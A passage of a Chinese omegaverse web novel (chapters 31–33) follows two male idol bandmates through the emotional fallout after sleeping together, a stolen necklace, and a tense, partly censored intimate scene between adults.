想到这里,汤昼恒停顿一下:“……” 那么,问题的关键就要回到之前的那个话题上。 方柏嘉喜欢的人是谁? 汤昼恒不禁想起秦高阳的分析。 对方问到他有没有可能的人选时,汤昼恒首先怀疑的是他们团里的其他人。 但很快又否定了。 虽然方柏嘉的确和大家的关系都还不错,不过汤昼恒不认为他和组合中的哪个人有超出正常范围的情愫。 而据他所知,方柏嘉不是那种喜欢社交应酬的人,没有行程的时候宁愿在宿舍里待着打游戏,或者到公司写歌,圈里的好友没有很多,认识人的途径基本靠外出工作。 按这个思路拓展,要同时满足男,alpha,认识方柏嘉并有一定的频率可以见面这三点—— 汤昼恒很快想到了一个人。【你现在阅读的是 】 30-40 第31章 第 31 章 吃完了穿上裤子就走。…… 汤昼恒拿出手机, 手指轻划两下,屏幕跳转到浏览器。 由于有段时间没来,标签自动刷新了一下, 两秒过后,重新展示出上一次搜索过的页面。 是艺人百度百科。 李子晋, 男,alpha。23岁, 目前从事演员行业, 前两年因为一部现偶起飞, 目前被粉圈评为影视剧新一代Alpha四小生之一。 和方柏嘉因为《时旅家》而结识, 并且肉眼可见的关系很不错。因为是常驻里唯二的两名年轻一代同龄人, 不可避免地被这档节目的观众嗑起了CP, 甚至CP还有点火。 点进两人的CP超话,里面的粉丝总结了很多糖点,录制结束后还一起约饭、被扒出来小号峡谷甜蜜开黑什么的。 信息素是红酒味。 虽然听上去和樱桃味天差地别, 但原料毕竟是葡萄。理论上说, 水果发酵后都是一股酒味, 而葡萄酒味儿淡点,也可能和正常的水果混淆。 …… 意识到自己正在试图填充逻辑解释其中关系的那一刻,汤昼恒感到一阵淡淡的荒谬。 这件事重要吗? 他突然想。 不管那个人是谁, 当初方柏嘉会在医院里问医生是否能用药物控制病情, 后边又来找汤昼恒帮忙脱敏,就说他们并不是那种可以随时进行标记、乃至做更多事的关系。 毕竟没有哪个人会放着正当的男朋友不用,还去求助于别人。 汤昼恒垂眼,又在网页的介绍栏上多看一眼。 一米八三,甚至没有方柏嘉高。 对着比自己矮的人叫老公? 稍微有点重口了吧。 汤昼恒心中不无挑剔和刻薄地闪过这一句。 还是不要想了。 左右得不出别的结论,他干脆摁灭手机, 放到床头。 关上灯,整晚无梦。 * 一夜过去,方柏嘉醒了过来。 视线瞥到房中陈设,他先是有些茫然。随后大脑记忆回笼,方柏嘉皱了皱眉,伸手往下探到被窝,然后又猛地收回手。 靠,这回是真睡了。 方柏嘉半张干净的脸埋进枕头,对着眼前的虚空发了会儿呆,像在接受这个事实带来的冲击力,脸上甚至热了一下。 忽然间反应过来,抬起上身看了看四周。 汤昼恒人呢? 那个家伙难道又跑了? 方柏嘉侧耳倾听了下卧室外边的动静。很安静。 清了清因为哼唧了一晚上而显得沙哑的嗓子,试探着叫了声:“……有人吗?” 过了两秒。 “汤昼恒?” 没人应。 看来真的不在。 方柏嘉:“……” 如果不是地点和房间摆设不同,他真以为自己穿回了一个月前。 怎么有人做完都不留下来陪一陪人的啊,难道就因为他是alpha? 这什么该死的性别刻板印象。 方柏嘉嘴里骂了一串&%¥#*的碎碎念,掀开身上的被子下了地。双脚触及到地面的瞬间,冷不丁“嘶——”了一声。 昨晚运动完的当下还不觉得,过了一夜,方柏嘉感觉自己的浑身上下都像被人揍过。 尤其是被汤昼恒亲自丈量过的地方。 他那里太/长,昨天夜里甚至一度挤到了生/殖腔的入口前,剩下却还有不少部分没有进去。 方柏嘉现在回想起来还会觉得头皮发麻。 当时,一种生理上的本能反应让他对正在进行的事情期待又恐惧。理智上知道不行,心理上却又很难抗拒。 方柏嘉好几次心惊胆战,一边沉浸在那种氛围里,一边又生怕汤昼恒会忍不住闯进来。 对方再怎么样也是个alpha,就是会有那种天性。 方柏嘉按着汤昼恒的手臂,以沙哑又微弱的声音慌乱地对他说:“还不能进来。” 身体却很不争气地为他打开,变成可以任由汤昼恒塑形的模样。 而汤昼恒那会儿的回答是:“我知道。” 听起来倒是没什么异常,事后冷脸回想的方柏嘉却恨不得钻进地缝里直接消失。 来你告诉我什么TM的叫TM的“还不能进来”。 说得好像他的炎症一好转方柏嘉就会主动邀请汤昼恒在他的生/殖腔里内*一样。 傻叉透了。 方柏嘉在套房内转了一圈回来,骂骂咧咧地坐回床上,拿起手机调出和汤昼恒的微信聊天界面。 对话框那里空空荡荡,这回连说一声自己去哪的消息都没有。 ……不是吧,难道汤昼恒真是那种渣男,吃完了穿上裤子就走的那种? 方柏嘉的心都凉了半截。 再复盘起昨晚发生的一切,他突然想到什么,脑海中一记炸雷响起。 该不会是因为那个吧。 前夜他失误叫出来的那一声“老公”,肯定引起了汤昼恒的怀疑。 就算方柏嘉之前否认过一次,这次他直接当着对方的面又叫一声,却是糊弄作假不了的。 上一回他还可以说自己认错了人,可这回明摆着的,全程方柏嘉都很清楚对方是谁。 再加上此前的香水、玩具作为辅助—— 还有比这更板上钉钉的证据吗。 方柏嘉顿时感觉呼吸困难。 汤昼恒大概也是猜到了这点,才想着趁他没醒出门避一避。 虽然睡了,但并不想因此负责,给予方柏嘉错误的信号,让他觉得两人之间有可能,最好的方法就是冷处理,通过这样的方式告诉对方,自己并不想和他有额外关联。 就这么醒来后没见到汤昼恒的短短两三分钟里,方柏嘉已经脑补好了一连串后续剧情。 他越想越是满肚子火,随后又是一阵心惊肉跳和凄凉。 完了。 这下他喜欢汤昼恒的事算彻底败露了。 方柏嘉动作缓慢又别扭地把疼痛的屁股往远处挪了挪,双手撑在床面,脑袋砰砰往枕头里砸。 好烦好烦好烦好烦好烦—— 早知道昨天精/虫上脑干什么呢? 接下来他又要怎么面对汤昼恒? 方柏嘉“好烦”了五六下,额头还埋在枕头里,耳朵忽然很灵敏地听到卧室外有开门锁的声音传来。 他一个激灵,从床上坐了起来,顾不上浑身上下酸软的肌肉,第一时间警惕地看向门口。 那门就像听到他心声似的,开了。 汤昼恒打开门,看见坐在床边的方柏嘉,也愣了一下,随后反应过来,神色如常地招呼道:“醒了?饿不饿,要不要吃饭?” 听上去语气没什么不对,可仔细一瞧,会发现他的目光除了第一句“醒了”之外,就没再落到方柏嘉的身上,而是自顾自地低下头,把身上薄薄一层运动外套脱了,搭在一旁的衣架上。 里面是一层近乎贴身的短袖,胸口的地方有些湿,看起来刚出过汗,形状挺/拔饱/满。 数个小时前的记忆回笼,活色生香的画面在脑海中影影绰绰。 方柏嘉和他目光一触,也跟着迅速弹开,顿时感觉到口干舌燥,硬邦邦地说:“有点。” 人心真的很复杂,明明刚才还在为对方“不告而别”而不悦,现下汤昼恒回来了,方柏嘉又不是很想立刻见到他。 主要是不知道见了又能怎么相处。 “那我点餐叫人送上来。”汤昼恒说。 方柏嘉看着他在房间里走来走去,弯下身从行李箱里取出换洗衣物。 本来不想多嘴,但还是忍不住问了句:“你刚才去哪儿了?” 一张口,还是冷冰冰的腔调,听起来好像很不高兴。 汤昼恒手上的动作顿了顿:“酒店健身房。我起得比较早,所以下去锻炼了会儿。” “没见到你发消息。” “嗯?”汤昼恒似乎怔了怔,才领会到方柏嘉的意思,“现在才九点……我以为你累了一晚上,短时间内应该起不来,就没说。” “……” 这话说完,四周的空气都有些凝滞。 两人再次不约而同想到昨夜发生的一切,方柏嘉在心里暗骂了声,脸上发红,立刻低头装作认真看手机的样子,用冷淡的声音表示朕已阅:“哦。知道了。” 其实他确实很累。 但因为满脑子都记挂着汤昼恒的事,方柏嘉晚上总睡得不安稳,所以几乎一有意识就醒了过来,开始寻找对方的影子。 他没再发表后续看法,汤昼恒便在自己的手机上翻出酒店的订餐小程序,让方柏嘉先选,自己一块下单。完事之后拿起衣服,走进淋浴间开始冲澡。 方柏嘉则继续瘫回床上,生无可恋地思考着逃离地球的方案。 * 等对方洗完澡,餐也很快送到了。 酒店服务生推着餐车、带着托盘进来为他们上菜,方柏嘉坐在靠窗的餐桌一边,趁着等待的功夫无聊地看着窗外的景色。 等人走后,汤昼恒问他:“身体怎么样,会很不舒服吗?” “……”方柏嘉回过头,一时不知道这话该从何答起。 就怎么说。 这么大的家伙在他的辟股里动来动去了两个小时,总不可能一点难受都没有,否则汤昼恒昨天晚上用工具玩了他半天是在干什么呢。 不过方柏嘉怎样也是alpha,承受力还可以。 就目前的状况来看,大概那条甬道发育得也有点o化,很能自行分泌润滑物,没什么撕裂之类的现象出现,就是纯粹的摩擦造成的红/肿和肌肉酸痛,效果和半个月不去健身后第一次复健的效果差不多。 说不舒服是真的不舒服,俯身弯个腰都感觉下半身不像是自己的,但好像也没有到需要说出来诉苦的地步。 况且他就算告诉对方又能怎样,难道要汤昼恒把他抱在怀里小孩一样地哄? “……还行吧。” 方柏嘉答得勉强,照旧不去看对方的眼睛,舀起面前瓦罐里的一勺鸡汤吹了吹,对着唇边慢慢地喝。 直到汤昼恒似是酝酿了几秒,突然又开口:“所以你昨天为什么不用抑制剂?” 话落,方柏嘉举着调羹的手停住。 他抬眸飞快地看了眼坐在桌对面的汤昼恒,见对方不知何时已将手中的叉子放下,正静静地将双手交叠置于桌面看着自己,神情认真又带着探询。 方柏嘉哑然一瞬,没想到前一天那么兵荒马乱,汤昼恒居然还注意得到这个,有两秒时间想找理由,随后又意识到这么做没有必要。 只能老老实实道:“林主任说我现在的情况用不了抑制类药物。” 汤昼恒歪了歪头:“林主任?” 看他的表情就知道,汤昼恒那一刻一定是在疑惑,自己明明是和方柏嘉一起去的医院,为什么对这段没有印象。 很快又反应过来,方柏嘉应该是背着他再去了一次。 “什么时候的事?” 方柏嘉不知为何有些心虚:“录这期综艺之前。” 汤昼恒还是不解。 “为什么?” 方柏嘉不清楚他这个“为什么”具体指的是哪件事,凭借着感觉解释:“就是拍MV那次……我觉得自己的状况不太对,就想去医院看看——” 他把林主任的话转告给了对方。 念及两人昨夜刚因那声“老公”陷入不冷不热的尴尬氛围里,说话的语气也有点生硬,决定输人不输阵,简单复述完后不再多说,想等对方接着提问题,他再回答。 结果汤昼恒也没问。 听完,只是简单地嗯了一声,低下头,用叉子叉起一块西蓝花送进嘴里。 然后就继续吃东西去了。 方柏嘉:“……” 就一个“嗯”就完了? 什么人啊这是! 又不关心干嘛要问。 渣男。渣男中的渣男。 屁股都被你*肿了也没听你说什么好听的话。 果然alpha都是一个样,没得手前还嘘寒问暖得很是那么回事,得手后干脆连装都不装了。 没等来想象中的慰问,方柏嘉冷冷地从鼻腔里“哼”了一声,小孩儿斗气似的,喷出淡淡的气流。 哼完又惊觉制造出来的声音太大,连忙抬眸瞥了汤昼恒一眼。 对方头都没抬,看来是没听到。 方柏嘉一瞬间说不出情绪好坏,在心里又很大声地哼了一下,报复一般故意把手里的调羹在容器里搅得咣当乱响。 桌对面的alpha眼皮隐跳:“……” 汤昼恒突然打听方柏嘉有没有吃抑制剂,当然不是心血来潮。 伪感期通过吃药就能消除绝大部分生理期症状,方柏嘉昨晚那副样子,大概率就不像吃了。 众所周知,alpha度过生理期的方法就那么两个。 所以昨夜在电话里听见他哼/吟,汤昼恒的第一反应,其实是方柏嘉另外找了人来陪他。 有人陪就不需要吃药了,也不需要再让汤昼恒来帮忙,很合理。 但有人陪应该也不至于自己一个人孤零零地打*机。 方柏嘉明知道自己找不到人还不吃药,显然不是因为他有受虐倾向。 要不然是他已经吃过抑制剂,却发现无效。要么是他因为某些原因吃不了。 事实证明,汤昼恒猜对了。 女医生那么说的意思虽然隐晦,却也明确,言下之意是让方柏嘉在伪感期最好找个alpha一起过。 方柏嘉得知这件事后没告诉他,无非是不想让汤昼恒来,担心两人擦枪走火,真的发生了什么,所以宁愿一个人熬过伪感期的不适。 这样再一看,对方从昨天晚上生气到现在的原因就很明显了。 虽然当时是方柏嘉反复提的要求没错,但他那会儿正在伪感期,被交//配本能操纵时的思维不能和平时比较。 现下浪潮退去,大脑恢复理智,又开始反悔和懊恼自己之前的举动,从而迁怒到汤昼恒也说不定。 想到这里,汤昼恒眼帘低垂,决定装作自己没发现对方的这些异样情绪,和刻意表现出来的不满。 接下来的好几分钟里,方柏嘉接连把桌上的碗碟子盘子乒乒乓乓地敲了个遍,他都没有反应。 对方看出汤昼恒视而不见的避让,把这当做是渣A拔吊无情的表现,气得快要炸毛,最后把手上的筷子往桌边一扔,说:“不吃了!” 第32章 第 32 章 还是你已经找了别人?…… 一顿饭双方都吃得沉默寡言, 席间唯有筷子和调羹冷冰冰的磕碰声不断,硬生生演奏了首交响乐出来,有种诡异无声的热闹。 吃完饭没多久, 汤昼恒就说自己下午的飞机要回去了,晚点在首都还有一个剪彩的活动。 问了些方柏嘉大概什么时候走, 酒店房费续到多久哪天之类的问题,得知还有助理陪他, 也不操心了, 过了没几个小时又提着行李离开。 酒店分开后的好几天, 两人都各忙各的到处跑, 没怎么再见过面, 直到回归前两日才重聚起来。 5月29号下午五点, unforbidem迷你六辑主打曲的MV准时发布,与此同时,全专音源也在音乐平台上正式上线。 倒数直播、线下发布会、showcase……回归当天就忙成了一团。 第二天更是凌晨三四点就要爬起来化妆, 坐车去赶打歌行程, 各种录这录那到晚上十一点才宣告结束。 在这样的高压环境下, 就算原本有什么龃龉,基本上也累得无暇顾及了。 …… 不过,方柏嘉其实还记得一件事。 那就是距离他上一次和汤昼恒亲密接触, 已经过去了一周多两天。 回归当天刚好是一星期整, 方柏嘉在忙了一天晕头转向后想起来这事,碍于自己和对方仍处在微妙的冷战中,不好向汤昼恒开口。 汤昼恒也不像之前那样,还会找机会提醒一句。方柏嘉没有台阶可下,干脆装不在乎,心想错过一次就错过了吧, 他近半个月身体都还不错,应该没什么大事。 况且就眼下二人的情况来看,之后还能不能找汤昼恒都还是个未知数。 心情不好,方柏嘉也摆烂了,这天照旧贴了个阻隔贴就出门工作。 却忘了打歌的场所也是人流聚集地,前来支持的粉丝观众、来来往往的电视台员工、刚表演完下场后浑身都冒着热气的其他组合成员。 偌大的建筑物内部像是密封的金属罐头,来自无数人身上的味道混杂又升腾。 吸入方柏嘉格外敏/感不耐受的鼻腔中,让他有种梦回当年在首都打工时每天爬起来挤死亡地铁线的错觉。 倒霉的是,如果始终维持在之前那种感知不到信息素的状态,这些气味对方柏嘉不会有什么影响。 偏偏他和汤昼恒上了次床,把第二嗅觉失灵治好了一半,像感冒鼻塞的人在大汗淋漓的运动过后突觉清明通透,方柏嘉这些天猛然又发现自己能闻到味儿了。 接连的几场彩排加上事前录制之后,方柏嘉明显感觉身体不太妙。 强撑着等到上午的录制结束,回到休息室,他立刻奔向沙发,在上面躺下,拎起一件外套盖在头上,说自己太累了要睡觉。 其他成员要去楼下吃饭,问他要不要一起去,那件外套轻轻鼓了鼓,里面传来方柏嘉闷闷的声音:“你们去吧,我不饿。” 信息素闻多了,让他完全没有胃口。 一阵窸窸窣窣,屋子里渐渐空了。 确认人都走光之后,又过了几分钟。 方柏嘉把身上的衣服掀开,慢慢坐了起来,眼神看向休息室门口的方向。 然后一点点回移,落在不远处的化妆台前。 * 吃完午餐,汤昼恒在自己原本位处的化妆镜前翻了两圈,问旁边的人:“你们有谁见到了我的项链?” “就是我戴来的那条,L牌的。早上摘下来的时候放桌子上了。” 见汤昼恒似乎不见了东西,周边的工作人员都帮他找了起来。 方柏嘉躺在沙发上缓了一会儿,感觉好了一些,不知不觉地睡着了。 耳边忽然听见不知是谁来回走动的噪音,意识到是那帮人回来了,他迷迷糊糊把外套拉下来,听见有人在说“项链”什么的。 方柏嘉瞬间清醒,睁大眼睛往人群聚集处瞧。 丞绪就在旁边晃荡,发现他醒了,顺口跟他闲聊:“汤昼恒说他项链没了,你看到过没有?” 方柏嘉人还懵着,迟疑一下,脸上一片空白地摇摇头。 这时,就听汤昼恒在远处说:“算了,也不是什么急事。就是突然想起来了,可能被我收到什么地方去了也说不定。” 大概是不想麻烦这么多人帮他找,他道:“没事,应该没人拿,等下班我自己再找找。” 刚好这会儿又要准备下首歌的预录,得换新的衣服。这个插曲很快被众人抛到脑后,开启了新一轮的忙碌。 方柏嘉有点饿了,趁着造型师给他整理发型,吃了点江白树他们从下边给他带上来的甜点。 打歌结束时是傍晚六点。 方柏嘉换完衣服,从更衣室里出来,听见有人在问汤昼恒的项链找到没有。 方柏嘉不由侧目过去。 汤昼恒正坐在化妆台前,让工作人员帮他卸下脸上的装饰,闻言漫不经心道:“嗯,在我的衣服口袋里找到了。” 方柏嘉揣在外套里的手下意识动了动。 他是所有成员中最先收拾好的,出来时肩上已经挎好了包。听到这话,他立刻收回目光,目不斜视地从休息室中央穿过。 电视台地下车库里的保姆车已经发动,方柏嘉第一个钻进去,等了大概十来分钟,成员们陆陆续续到齐,开始坐车返程。 明天还要早起工作,回到宿舍,他们都早早吃完晚饭,隔一小时冲完澡就回房酝酿睡意去了。 方柏嘉等另外两间卧室都关了门,才小心翼翼地在卫生间里撕下阻隔贴,想对着镜子检查颈后的状况。 无奈脖子转动的角度有限,方柏嘉只能背对着镜面,将手机镜头调成前置,把画面放大了查看镜子里的自己的样子。 好像红了一大块。 方柏嘉转动角度,还想再看仔细一点,却怎么都差一些。 正和手上的电子设备搏斗着,门外突然传来脚步声。 方柏嘉抬起头,和推门探进半个身体的汤昼恒对上视线。 看到他两只手捧着手机的姿势,高大的alpha眉毛挑了挑,像没领会到其中含义:“你在自拍?要我先出去等吗?” “……” 神特么在自拍。 虽然本人确实是干这行的,但倒也没敬业到那个份上…… 方柏嘉在心里吐槽,忽然间想起什么,匆匆对着汤昼恒变脸:“谁让你进来的?你出去——” 到底是晚了半秒。 说这话时,汤昼恒已然低下眼,视线十分自然又无意地从他身边露出的洗手池台面上掠过。 然后定住。 方柏嘉不是有强迫症的那类人,什么东西用完后都要工工整整地放回原位。 大理石台上,到处可见乱堆的药剂、拆开后盖子都没关上的卸妆物品、刚刚用完后搭在上面的毛巾、洗澡前他随手拆卸下来的耳钉。 …… 在这一片凌乱之中,有一条长长的、不属于这里的饰品在闪着光。 那条汤昼恒在打歌休息室里到处找不到的项链,就静静躺在被方柏嘉独占的这侧卫生间的洗手台上。 方柏嘉随着对方的目光看去,暗道一声糟糕。 他在电视台里时太不舒服,不好意思拉下脸去找汤昼恒求助,恰巧在四周无人时看见了那条大概是有人拿东西时不小心碰掉在地上的项链。 他一时鬼迷心窍,捡起来藏进外套,一块儿盖着悄悄地闻。 因为是环绕在颈间戴过的饰品,上面沾染了不少持久的樱桃信息素香气。抓在掌心里枕于脸侧,能消除掉不少烦躁和不安。 本想趁对方没注意时再还回去,没想到中途睡着了,再醒来时已经“东窗事发”,方柏嘉不好明说项链是自己拿走的,只能暗中观察。 休息室里的人太多,他始终没找到可以神不知鬼不觉将东西还回去的时机。 还好汤昼恒也没有很在意那条项链的样子,三言两语给带过了,后面也没再提。 直到傍晚前,方柏嘉都还在庆幸自己运气不错。直到他亲耳听到汤昼恒说项链已经找到,才察觉出不对。 毕竟就在对方说出那句话时,项链分明还在方柏嘉的上衣口袋里。 汤昼恒为什么要说谎? 方柏嘉隐隐有种直觉,但人总是会在事情不利于自己时抱有侥幸心理,他强迫自己不去多想,只当对方是实在找不到物品,又不想让其他人紧张,所以随口那样讲。 几万一条的项链,对工作人员来说可能是个大麻烦。但对他们这样的人来说,花钱听个响罢了。 不管对方到底是猜到还是没猜到,眼下汤昼恒已经看见了他的罪证,这是板上钉钉的事实。 “偷窃”行迹败露,方柏嘉呼吸一窒,脸上瞬间开始发热。 “我后来在地上找到了。”余光看见汤昼恒的双唇微动,方柏嘉下意识想要辩解,赶在他说话前条件反射地开口,“想着要给你,但时间太晚了——” 方柏嘉心中有些许忐忑,不知道这样的借口对方是否接受。 迎接他的是突兀的沉默。 有那么两三秒钟,汤昼恒都没有说话。 随后,方柏嘉听见他缓缓呼出一口气道:“是吗。那太好了,谢谢。” 说完,汤昼恒甚至对他露出了一个笑。 很宽容、很大度,给足了方柏嘉面子,是那种好像猜到了什么,又让你看不出他是否真心相信的暧昧神色。 “…………” 方柏嘉一看他的表情就知道,完了。 汤昼恒肯定知道了。 他心里咯噔一下,不知道自己又露出了那种小狗做坏事后被发现般的眼神。 汤昼恒的目光却突然移动向他身后,终于发现了什么似的道:“你脖子后面怎么了?” 方柏嘉用没拿手机的另一只手去碰自己的腺体。其实不是很想回答,可汤昼恒又好不容易转移了话题—— 他蚊子一样哼哼:“突然感觉很痒。” 他刚刚摸着有一些凸起,但不确定。 汤昼恒闻言,这才理解他刚才举动,按着方柏嘉的肩膀将他翻过去说:“看不到吗?我帮你瞧一瞧。” 方柏嘉没有反对,安静地转身面对镜子,望着镜面反射里汤昼恒低头认真观察他的画面。 对方没说话,指腹轻轻地抚上去。 不管过了多少次,方柏嘉这里的皮肤还是那么敏感。他没忍住,闷哼似的“嗯”了一声,随后紧紧地抿住嘴。 汤昼恒等了好一会儿才说:“好像是过敏了。” “过敏?”方柏嘉跟着重复。 说起来感觉是很像。 那种突然间火烧火燎起来的、无法忽视掉的触感。越挠却还越痒,怎么试图减淡都很难消退。 “我给你拍一下,你就知道了。”汤昼恒以为他不信,从他手里接过手机,对准方柏嘉的后颈拍了一张,然后递到他的眼前。 真的。 那大片的红痕甚至还有边界,不仔细看会以为是蚊虫叮咬后形成的鼓包,但蚊子包又不会这么凌乱。 方柏嘉用掌心按住腺体,试图给那里降温。 “可能是长期戴太久了,今天电视台那里人又很多——”他含糊地说。 导致过敏的因素有很多。以前对某种材质没感觉,现在却突然过敏了,可能是由于短时间的身体素质和免疫力下降、心理上的压力以及外部刺激。 方柏嘉以前也不是没有过。因为熬夜连轴转,精神上吃不消,手臂之类的地方会起荨麻疹,几个小时也就消下去了。 但在腺体上还是第一次见。 大概确实和今天接触了太多人有关,一下子刺激到了。 汤昼恒垂眼看他:“你那里有没有过敏药?” “有的吧……”方柏嘉回想了下。就是需要找找在什么地方。 “那去你的房间。”汤昼恒说。 方柏嘉一下抬起头来,还以为自己听错了。 “怎么,不需要我帮你了吗?” 见他还呆站在原地,没有任何行动,汤昼恒像是有些意外、意味不明地说。 “还是你已经找了别人?” 第33章 第 33 章 这是真比格来了。 虽然好像还是往常的说话方式, 汤昼恒语调里的温度却分明比平时更低一些,带着淡淡的疏离感。 好像他也还在和方柏嘉闹着别扭。 方柏嘉:“……” 这完全是明知故问。 汤昼恒既然知道他拿了项链,肯定也能猜出来, 方柏嘉是觉得不好受,才特意找了个沾有这人气味的东西来安抚自己。 ——已经对他的信息素依赖到这种程度, 怎么会不需要他? ——已经可怜到只能拿项链暂做缓冲,行径和伪感期用香水的本质无异, 又怎么可能找了别人? 汤昼恒就好像专门在等着方柏嘉主动开口否认, 然后再来求他一样。 方柏嘉心里突然有点憋闷。 但对方自发过来看望, 也让他松了口气, 是方柏嘉未曾预想的事。 不管怎么说, 自己没道理在难受了一天后还因为小孩子脾气拒绝这主动送上门来的帮助。 闻言, 冷淡地闷声道了个“哦”,没有正面回答对方的问题:“……那你过来吧。” 说完也不看汤昼恒的表情,转身就从半开的卫生间门中溜了出去。 * 结果还是让汤昼恒进了自己的卧室。 毕竟现在三个人一块住, 指不定什么时候陆翰音就要起夜或者出来喝水, 客厅显然不再是个安全的场所。 方柏嘉在床头抽屉里翻找了一阵, 找到了氯雷他定,用杯子里所剩不多的水伴着吞了。 这期间汤昼恒就坐在床边,看着他的一举一动。 方柏嘉被对方的目光盯得发麻, 走路都差点顺拐。放下杯子, 舔掉嘴角边的水渍,慢慢踱到汤昼恒的身前,皇帝一样地说:“上去。你这样让我怎么弄?” 语气生疏而又冷淡,好像这样就能掩盖住他逐渐上升的心跳。 汤昼恒于是彻底坐上来,靠在床头,两条长腿舒展而又自然地打开。 方柏嘉钻进来, 一对膝盖分别跪跨于他的左腿两侧,二话不说地直奔主题,上来就骑在他的腿上亲他。 过了一会儿,身体完全地软下来,又被汤昼恒引导着慢慢把腿并起来,坐在他的腿/心中间,搂着他的脖颈和青年接吻。 两人都没戴任何阻碍信息素溢出的物品,樱桃和奶油的香气很快混合,由一开始的清冷,逐渐变得浓郁。 全程无言。 因为不是第一次做这种事,二人都表现得相当熟练。 亲到一半,方柏嘉就受不了了。 汤昼恒毕竟进过他那么深的地方,尽管没有在他体内留下标记,但在这过程中信息素交流的深度也是单纯的咬腺体和亲吻远比不了的。 二十岁出头的alpha,正是对那方面很上头的阶段,何况他们还睡过。 每一个似曾相识的动作,都能不费吹灰之力地将方柏嘉拉回那个和汤昼恒肌肤相贴的夜晚。像是一枚石子投入湖面,紧接着荡起无数连锁反应般的涟漪。 方柏嘉本来不想这么投入,象征性地完成脱敏就好,却忽略了他们彼此之间的吸引。 两条舌头不知不觉中便用力地缠在了一块,方柏嘉亲得忘我,大脑一片空白,胸口重重地升起又落下来,宛如灵魂都在出窍。 有一瞬间清醒过来,觉得荒谬,自己和汤昼恒好像那种吵了架后还要同/房的夫妻,明明相处时还能明显地感觉到隔阂,一亲密起来又变得没完没了。 他拼命拉扯着自己的意志,不知道付出了多少努力,才气喘吁吁地把自己黏在对方嘴上的双唇撕下来,小狗一样呜咽一声,慢慢下滑着躺到汤昼恒的颈窝处,发烫的额头抵着对方颈侧跳动的动脉,双腿尴尬而僵硬地并拢。 察觉到方柏嘉不自然的瑟/缩,一记短而快的呼吸之后,汤昼恒的手冷不丁又善解人意地贴着松紧腰伸/进去。 “嗯——”方柏嘉吓了一跳,整个人像被电了一下,“你干什么?” 顿了顿又说:“别……” 他匆匆按住汤昼恒露在外面的手腕。 回答他的,是汤昼恒无比平静的一句:“方柏嘉,你*得很厉害。为什么别?” 方柏嘉说不上来,只是单纯觉得很慌张。 大脑里拉响了双倍的警报,躺在别人身前的alpha一阵心悸,总感觉会迎来很羞/耻的局面。 不由得重复一遍:“不行,别这样。” 却在汤昼恒的指腹绕过一圈时忍不住弹了弹。 方柏嘉小声哈气,眼神瞬间变得迷蒙,最终还是没能阻止得了汤昼恒的行动。 事实证明,他的预感没错。 明明他自己一个人时,往往都要十多二十分钟才能出来;可是一到汤昼恒这儿,时钟就被拉快了。 时隔一个星期,再次如此近距离地接触到汤昼恒的信息素,方柏嘉的身体宛如出了故障,才只过了不到五分钟就交/代了。 空气中荡漾着甜腻的奶油香气。 方柏嘉在那一瞬间,小声地“呜”了一声,藏在裤管里的两只没有多余赘肉的细瘦小腿闭得很紧,羞到快要在汤昼恒的怀里缩成一团。 ……太快了。怎么会这么快。 汤昼恒给自己擦干,接着吻他,方柏嘉晕乎乎被他亲了好几下才想起来应该生气,用手挡了一下把他推开。 “不要。”气息很短,好像肺部里的空气不够他呼吸似的,方柏嘉放狠话一样地说,“不准亲了。” 汤昼恒停了一下,不知道他突然又发什么脾气,只是说:“时间还没到。” 道出这话时的语气也很平淡,没什么人情味和大的反应,意思是要把治疗的十五分钟补全才算完。 说着,又要低头捕捉对方的嘴唇。 唇瓣颤动,从牙齿末端析出的热气都吹在方柏嘉的嘴角,青年猛然瑟缩一下,越发偏头往对方的脖颈处躲。 “医生本来也没说要一直亲……你走开。”方柏嘉说。 从来没有这么迅速过,他感觉十分的耻辱—— 虽然自己是下面的那个,但身为alpha的尊严始终存在。 最让他感到害怕的是,一到汤昼恒的面前,他的身体似乎就不受主体控制了。 这种失控令他感到不安。 更别提他和汤昼恒现在还正在闹别扭。 很丢脸。 这种不自觉因为对方而起的反应也好,包括刚才的项链也是,无端就让方柏嘉比那人矮了一头。 汤昼恒偏偏表现得还这么冷淡,仿佛过来帮他只是不得已的公事公办——尽管他们之间确实没什么私情,方柏嘉还是感受到了一阵强烈的挫败。 该死的汤昼恒,害他变成这样,态度还这么拽。 方柏嘉心里是怎么想的,嘴上也就这么说了,泄愤似的重重来了一句:“都怪你。” “我都说了我不要了,你干嘛还这样?你就喜欢做别人不让你做的事是不是?” 搞得他根本下不来台。 方柏嘉因为害羞而变得口不择言,汤昼恒却误解了,以为方柏嘉还在为酒店那次的事怪他。 沉默了好几秒,再开口时,嗓音微妙地变得比刚才更加冷硬:“你现在后悔也晚了。” 他侧头看着方柏嘉,一个字一个字地说:“一开始本来就是你先提出来的,不是吗?我也只是满足你。你现在又来怪……” 话没说完,方柏嘉竟然直接侧过头,隔着一层睡衣咬在了汤昼恒的锁骨上。 像觉得他说的话太过分了,还不是那种只一下就松开的轻咬,而是持续了好几秒的,用上起码五成力道的报复。 网上开玩笑说一个成年人的咬合力堪比一头鬣狗,汤昼恒觉得不管怎样,方柏嘉的这一口都足以给一只仓鼠斩首。 纵使向来淡定如他,也有些被方柏嘉的这一举动惊到,进行到一半的话音戛然而止。 “…………” 这是真比格来了。 汤昼恒说这话的本意是想让方柏嘉公正一点,不要什么都怪罪到他头上。 虽然他的默许确实在事件的后半段起到了关键作用,但如果方柏嘉前边没有那么磨人地求他,把汤昼恒逼到无路可退,他也不可能这么随便地和别人上/床。 毕竟,他又不是那种yu望很重的alpha。 方柏嘉前面还跟他一口一个想要,一等清醒了就翻脸不认人,还把错全归结于他,难道不也是另一种程度的拔*无情? 然而,方柏嘉接下来的反应远远超过了他的想象。 这让汤昼恒不免怀疑,难道在对方眼里,自己真的有这么十恶不赦? 因为他是上边那个,所以不管对方怎么撩拨,他都得保持君子作为,否则就是过分? 肩头传来痛感,让汤昼恒忍不住地皱了皱眉,压低声音嘶了一声。 方柏嘉这才松开牙,气哄哄地说:“你闭嘴!” 方柏嘉又羞又愤,差点气坏了。 心想自己之前果然猜得没错,汤昼恒就是个喜欢玩弄alpha的坏男人,把他睡完了开始假正经了。 他一开始也不是非汤昼恒不可的好不好,这人愿意帮他忙就帮,不愿意方柏嘉也不至于真的找不到别人,只不过会麻烦很多而已。 真这么论起来,先问方柏嘉有没有合适人选的人明明是对方,他那会儿还在犹豫到底要不要找汤昼恒开口呢—— 怎么就成一切都是他主动的了,好像方柏嘉变成这样完全是自找的一样。刚才那一番话,更是典型的渣A发言。 知道自己喜欢他就表现得这么混蛋。 讨厌,讨厌汤昼恒! “我说的不对?” 